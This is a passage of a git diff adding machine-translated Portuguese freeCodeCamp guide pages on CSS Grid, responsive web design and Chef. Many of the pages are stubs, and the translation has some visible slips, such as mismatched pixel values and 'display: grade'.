+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md
@@ -0,0 +1,9 @@
+---
+title: Align an Item Vertically using align-self
+localeTitle: Alinhar um item verticalmente usando auto-alinhamento
+---
+## Alinhar um item verticalmente usando auto-alinhamento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-a-column-gap-using-grid-column-gap/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-a-column-gap-using-grid-column-gap/index.md
new file mode 100644
index 0000000000..37a514f999
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-a-column-gap-using-grid-column-gap/index.md
@@ -0,0 +1,26 @@
+---
+title: Create a Column Gap Using grid-column-gap
+localeTitle: Criar uma lacuna de coluna usando a lacuna da coluna de grade
+---
+## Criar uma lacuna de coluna usando a lacuna da coluna de grade
+
+Este desafio requer que você adicione uma lacuna de 20px entre todas as colunas do CSS Grid no .container.
+
+### Sugestão
+
+Para adicionar a lacuna entre as colunas de uma grade, usamos:
+
+```css
+grid-column-gap: parameter; 
+```
+
+onde parâmetro é o intervalo necessário.
+
+### Solução
+
+Como o desafio tem você adicionando uma lacuna de 20px, você adicionaria a seguinte linha ao codeblock CSS .container.
+
+```css
+grid-column-gap: 20px; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-a-row-gap-using-grid-row-gap/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-a-row-gap-using-grid-row-gap/index.md
new file mode 100644
index 0000000000..28f5f1d814
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-a-row-gap-using-grid-row-gap/index.md
@@ -0,0 +1,20 @@
+---
+title: Create a Row Gap using grid-row-gap
+localeTitle: Criar um intervalo de linhas usando intervalo de linhas de grade
+---
+## Criar um intervalo de linhas usando intervalo de linhas de grade
+
+Este desafio requer que você adicione uma lacuna de `20px` entre todas as linhas da CSS Grid em .container.
+
+### Sugestão
+
+Para adicionar uma lacuna entre as linhas em uma grade CSS, usamos a propriedade CSS `grid-row-gap` .
+
+### Solução
+
+Como o desafio tem você adicionando um intervalo de `5px` , você adicionaria a seguinte linha ao bloco de código CSS `.container` .
+
+```css
+grid-row-gap: 5px; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fill/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fill/index.md
new file mode 100644
index 0000000000..ff0ab7d74e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fill/index.md
@@ -0,0 +1,27 @@
+---
+title: Create Flexible Layouts Using auto-fill
+localeTitle: Criar layouts flexíveis usando o preenchimento automático
+---
+## Criar layouts flexíveis usando o preenchimento automático
+
+Esse desafio expõe o desafio anterior, adicionando o valor de **preenchimento automático** à função de _repetição_ . Isso fará com que o número de divs seja expandido com base no tamanho da viewport em vez do valor da coluna especificado anteriormente. Na seção **antes** abaixo, o valor de **coluna de modelo de grade** "3" é especificado.
+
+_Tenha em mente que os seguintes trechos de código são apenas exemplos e não o desafio exato do currículo do freeCodeCamp._
+
+### Antes
+
+```css
+    grid-template-columns: repeat(3, minmax(50px, 2fr)); 
+```
+
+### Depois de
+
+```css
+    grid-template-columns: repeat(auto-fill, minmax(50px, 2fr)); 
+```
+
+* * *
+
+### Recursos
+
+Você pode consultar a seção **Sintaxe** da página a seguir para ver o valor de **preenchimento automático** : [Rede de desenvolvedores da Mozilla](https://developer.mozilla.org/en-US/docs/Web/CSS/repeat)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md
new file mode 100644
index 0000000000..6ae545880a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Flexible Layouts Using auto-fit
+localeTitle: Criar layouts flexíveis usando o ajuste automático
+---
+## Criar layouts flexíveis usando o ajuste automático
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/create-flexible-layouts-using-auto-fit/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-grids-within-grids/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-grids-within-grids/index.md
new file mode 100644
index 0000000000..e2d5c93610
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-grids-within-grids/index.md
@@ -0,0 +1,31 @@
+---
+title: Create Grids within Grids
+localeTitle: Criar grades dentro de grades
+---
+## Criar grades dentro de grades
+
+Uma grade dentro de uma grade é feita da mesma forma que qualquer outra grade.
+
+1.  Apenas aninhe um elemento dentro de outro,
+2.  coloque os _dois_ em grades,
+3.  e _POOF_ ! Você tem uma grade dentro de uma grade.
+
+### Aninhando um elemento
+
+Para qualquer atualização, aninhar um elemento se parece com isso: \`
+
+Aqui está sua grade
+
+Aqui está sua grade aninhada
+
+\`
+
+### Configurando seus elementos para grades
+
+Depois disso, ajuste as seguintes propriedades CSS: \`.gridElement { / \* isso te dá uma grade \* / display: grade; }
+
+.nestedGridElement { / \* isso lhe dá uma grade NESTADA \* / display: grade; } \`
+
+### informação adicional
+
+Depois disso, sinta-se à vontade para personalizar suas grades como quiser. isto é, `grid-template-columns: auto 1fr;` pode parecer bom nessa grade aninhada.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-your-first-css-grid/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-your-first-css-grid/index.md
new file mode 100644
index 0000000000..7058845ab6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/create-your-first-css-grid/index.md
@@ -0,0 +1,30 @@
+---
+title: Create Your First CSS Grid
+localeTitle: Crie sua primeira grade CSS
+---
+## Crie sua primeira grade CSS
+
+### Sugestão 1
+
+Para alterar a exibição de qualquer elemento, a seguinte sintaxe é usada:
+
+```css
+display: propertyName; 
+```
+
+### Sugestão 2
+
+Altere a propriedade de exibição do elemento .container
+
+### Dica 3
+
+Definir a exibição do elemento .container para grade
+
+### Solução
+
+Para definir a exibição do elemento .container na grade:
+
+```css
+display: grid; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md
new file mode 100644
index 0000000000..58ce02a7f7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md
@@ -0,0 +1,9 @@
+---
+title: Divide the Grid Into an Area Template
+localeTitle: Divide a grade em um modelo de área
+---
+## Divide a grade em um modelo de área
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/divide-the-grid-into-an-area-template/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/index.md
new file mode 100644
index 0000000000..94e82b6295
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/index.md
@@ -0,0 +1,13 @@
+---
+title: CSS Grid
+localeTitle: Grade CSS
+---
+## Grade CSS
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Guia de truques CSS para grade](https://css-tricks.com/snippets/css/complete-guide-grid/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/limit-item-size-using-the-minmax-function/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/limit-item-size-using-the-minmax-function/index.md
new file mode 100644
index 0000000000..6cfcffeb85
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/limit-item-size-using-the-minmax-function/index.md
@@ -0,0 +1,29 @@
+---
+title: Limit Item Size Using the minmax Function ##
+localeTitle: Limitar o tamanho do item usando a função minmax ##
+---
+Usar a função _minmax_ em conjunto com a função de _repetição_ é exatamente o que este desafio descreve, mas isso não era inerentemente óbvio para mim a princípio. A maneira de passar esse desafio é remover o valor de **largura máxima** dentro da função de _repetição_ e, em seguida, adicionar a função _minmax_ no lugar do valor de **largura máxima de** _repetição_ .
+
+Aqui está um **exemplo** do que parece ser uma abordagem _antes_ e _depois_ :
+
+### Antes
+
+```css
+    grid-template-columns: repeat(3, 1fr); 
+```
+
+### Depois de
+
+```css
+    grid-template-columns: repeat(3, minmax(50px, 2fr)); 
+```
+
+* * *
+
+Você também pode verificar essa caneta incorporada no Codepen para ver o exemplo em ação, que você pode redimensionar para exibir os resultados:
+
+Veja a função [limite-de-item-tamanho-usando-o-minmax](https://codepen.io/skywardcode/pen/EeGGze/) da pena por skywardcode ( [@skywardcode](https://codepen.io/skywardcode) ) em [CodePen](https://codepen.io) .
+
+### Recursos
+
+[Rede de desenvolvedores da Mozilla](https://developer.mozilla.org/en-US/docs/Web/CSS/minmax)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md
new file mode 100644
index 0000000000..a80336079e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Place Items in Grid Areas Using the grid-area Property
+localeTitle: Colocar itens em áreas de grade usando a propriedade de área de grade
+---
+## Colocar itens em áreas de grade usando a propriedade de área de grade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/place-items-in-grid-areas-using-the-grid-area-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md
new file mode 100644
index 0000000000..37dba5013e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Reduce Repetition Using the repeat Function
+localeTitle: Reduzir a repetição usando a função de repetição
+---
+## Reduzir a repetição usando a função de repetição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/reduce-repetition-using-the-repeat-function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-css-grid-units-to-change-the-size-of-columns-and-rows/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-css-grid-units-to-change-the-size-of-columns-and-rows/index.md
new file mode 100644
index 0000000000..6156dc2b33
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-css-grid-units-to-change-the-size-of-columns-and-rows/index.md
@@ -0,0 +1,23 @@
+---
+title: Use CSS Grid Units to Change the Size of Columns and Rows
+localeTitle: Use Unidades de Grade CSS para alterar o tamanho de colunas e linhas
+---
+## Use unidades de grade CSS para alterar o tamanho das colunas e linhas
+
+Esse desafio exige que você defina a largura das colunas do contêiner para as especificadas na descrição do desafio.
+
+### Sugestão
+
+Altere a propriedade `grid-template-columns` .
+
+### Solução
+
+Como o desafio requer que você defina a largura para `1fr` , `100px` e `2fr` , altere a propriedade `css grid-template-columns` de `.container` para:
+
+```css
+grid-template-columns: 1fr 100px 2fr; 
+```
+
+#### Mais Infomation
+
+*   [Uma introdução à unidade CSS fr - CSS truques](https://css-tricks.com/introduction-fr-css-unit/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md
new file mode 100644
index 0000000000..50f4cf1158
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md
@@ -0,0 +1,9 @@
+---
+title: Use grid-area Without Creating an Areas Template
+localeTitle: Usar área de grade sem criar um modelo de áreas
+---
+## Usar área de grade sem criar um modelo de áreas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-grid-area-without-creating-an-areas-template/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md
new file mode 100644
index 0000000000..5092d08922
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md
@@ -0,0 +1,9 @@
+---
+title: Use grid-column to Control Spacing
+localeTitle: Use a coluna da grade para controlar o espaçamento
+---
+## Use a coluna da grade para controlar o espaçamento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-grid-column-to-control-spacing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md
new file mode 100644
index 0000000000..7b4cfa862b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md
@@ -0,0 +1,9 @@
+---
+title: Use grid-row to Control Spacing
+localeTitle: Use grid-row para controlar o espaçamento
+---
+## Use grid-row para controlar o espaçamento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-grid-row-to-control-spacing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md
new file mode 100644
index 0000000000..b7691c4367
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Media Queries to Create Responsive Layouts
+localeTitle: Use consultas de mídia para criar layouts responsivos
+---
+## Use consultas de mídia para criar layouts responsivos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/use-media-queries-to-create-responsive-layouts/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/index.md
new file mode 100644
index 0000000000..0a0a939fc8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/index.md
@@ -0,0 +1,11 @@
+---
+title: Responsive Web Design
+localeTitle: Web design responsivo
+---
+## Web design responsivo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/create-a-media-query/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/create-a-media-query/index.md
new file mode 100644
index 0000000000..790a30db0e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/create-a-media-query/index.md
@@ -0,0 +1,22 @@
+---
+title: Create a Media Query
+localeTitle: Criar uma consulta de mídia
+---
+## Criar uma consulta de mídia
+
+Seguindo as instruções:
+
+Adicione uma consulta de mídia para que a tag p tenha um tamanho de fonte de 10px quando a altura do dispositivo for menor ou igual a 800px.
+
+a consulta de mídia é:
+
+```css
+  /* Add media query below */ 
+  @media (max-height: 800px){ 
+    p { 
+    font-size: 10px; 
+      } 
+  } 
+```
+
+e o tamanho do texto será 10px quando a largura do dispositivo for menor ou igual a 800px.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/index.md
new file mode 100644
index 0000000000..6368fa7208
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/index.md
@@ -0,0 +1,11 @@
+---
+title: Responsive Web Design Principles
+localeTitle: Princípios Responsivos de Design Web
+---
+## Princípios Responsivos de Design Web
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/make-an-image-responsive/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/make-an-image-responsive/index.md
new file mode 100644
index 0000000000..4ba62b7baa
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/make-an-image-responsive/index.md
@@ -0,0 +1,22 @@
+---
+title: Make an Image Responsive
+localeTitle: Faça uma imagem responsiva
+---
+## Faça uma imagem responsiva
+
+Seguindo as instruções:
+
+Adicione regras de estilo para a tag img para torná-lo responsivo ao tamanho de seu contêiner. Ele deve exibir como um elemento de nível de bloco, ele deve caber toda a largura de seu contêiner sem esticar e deve manter sua proporção original.
+
+o estilo se torna:
+
+```css
+<style> 
+  img { 
+  max-width: 100%; 
+  display: block; 
+  height: auto; 
+ } 
+ </style> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md
new file mode 100644
index 0000000000..0485abc2e6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Typography Responsive
+localeTitle: Faça tipografia responsiva
+---
+## Faça tipografia responsiva
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-principles/make-typography-responsive/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/use-a-retina-image-for-higher-resolution-displays/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/use-a-retina-image-for-higher-resolution-displays/index.md
new file mode 100644
index 0000000000..3978f8b425
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-principles/use-a-retina-image-for-higher-resolution-displays/index.md
@@ -0,0 +1,19 @@
+---
+title: Use a Retina Image for Higher Resolution Displays
+localeTitle: Use uma imagem de retina para exibições de maior resolução
+---
+## Use uma imagem de retina para exibições de maior resolução
+
+Seguindo as instruções:
+
+Defina a largura e a altura da tag img para metade de seus valores originais. Nesse caso, a altura original e a largura original são de 200 px.
+
+o estilo 4 se torna:
+
+```css
+  <style> 
+  img { height: 100px; width: 100px; } 
+  </style> 
+```
+
+observe que a maneira mais simples de fazer com que suas imagens apareçam "retina" (e otimizá-las para exibições de retina) é definir seus valores de largura e altura como apenas metade do que o arquivo original é.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md
new file mode 100644
index 0000000000..04683cda90
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Personal Portfolio Webpage
+localeTitle: Criar uma página da Web de portfólio pessoal
+---
+## Criar uma página da Web de portfólio pessoal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-personal-portfolio-webpage/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md
new file mode 100644
index 0000000000..de4399a351
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Product Landing Page
+localeTitle: Construa uma página de destino do produto
+---
+## Construa uma página de destino do produto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-product-landing-page/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md
new file mode 100644
index 0000000000..05f6b9ec82
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Survey Form
+localeTitle: Criar um formulário de pesquisa
+---
+## Criar um formulário de pesquisa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-survey-form/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md
new file mode 100644
index 0000000000..f23cb7e7cb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md
@@ -0,0 +1,13 @@
+---
+title: Build a Technical Documentation Page
+localeTitle: Construa uma Página de Documentação Técnica
+---
+## Construa uma Página de Documentação Técnica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-technical-documentation-page/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais informação
+
+[Um vídeo do youtube mostrando como a página de Documentação técnica é feita](https://youtu.be/kmHdn_AcTdI)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md
new file mode 100644
index 0000000000..10cddf5f88
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Tribute Page
+localeTitle: Construa uma página de homenagem
+---
+## Construa uma página de homenagem
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/responsive-web-design-projects/build-a-tribute-page/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/index.md
new file mode 100644
index 0000000000..1d5a36e0ff
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/responsive-web-design-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Responsive Web Design Projects
+localeTitle: Projetos Responsivos de Web Design
+---
+## Projetos Responsivos de Web Design
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/chef/index.md b/client/src/guide/portuguese/chef/index.md
new file mode 100644
index 0000000000..1e7bc8b9bc
--- /dev/null
+++ b/client/src/guide/portuguese/chef/index.md
@@ -0,0 +1,25 @@
+---
+title: Chef
+localeTitle: líder
+---
+## Chefe de cozinha
+
+Chef é uma poderosa plataforma de automação que transforma a infraestrutura em código. Independentemente de você estar operando na nuvem, no local ou em um ambiente híbrido, o Chef automatiza como a infraestrutura é configurada, implantada e gerenciada em toda a rede, independentemente do tamanho.
+
+#### Como funciona o chef
+
+Chef armazena coleções de receitas em um livro de receitas. Um livro de receitas deve estar relacionado a uma única tarefa, mas pode ter várias configurações de servidor envolvidas (por exemplo, um aplicativo da Web com um banco de dados, terá duas receitas, uma para cada parte, armazenadas juntas em um livro de receitas).
+
+Há um servidor Chef que armazena cada um desses livros e, como um novo nó cliente do chef faz check-in com o servidor, as receitas são enviadas para informar ao nó como se configurar.
+
+O cliente fará o check-in de vez em quando para garantir que nenhuma alteração tenha ocorrido e nada precise ser alterado. Se isso acontecer, então o cliente lida com isso. Patches e atualizações podem ser implementados em toda a sua infraestrutura, alterando a receita. Não há necessidade de interagir com cada máquina individualmente.
+
+#### Chef de Configuração
+
+![Título da Imagem](https://regmedia.co.uk/2015/10/07/chef_configuration_management.jpg)
+
+#### Mais Informações:
+
+*   [Chef TutorialsPoint](https://www.tutorialspoint.com/chef/chef_overview.htm)
+*   [Documnetation oficial](https://docs.chef.io/chef_overview.html)
+*   [Tutorial do Chef](http://gettingstartedwithchef.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/clojure/collections/index.md b/client/src/guide/portuguese/clojure/collections/index.md
new file mode 100644
index 0000000000..01c7776f05
--- /dev/null
+++ b/client/src/guide/portuguese/clojure/collections/index.md
@@ -0,0 +1,16 @@
+---
+title: Clojure Collections
+localeTitle: Coleções Clojure
+---
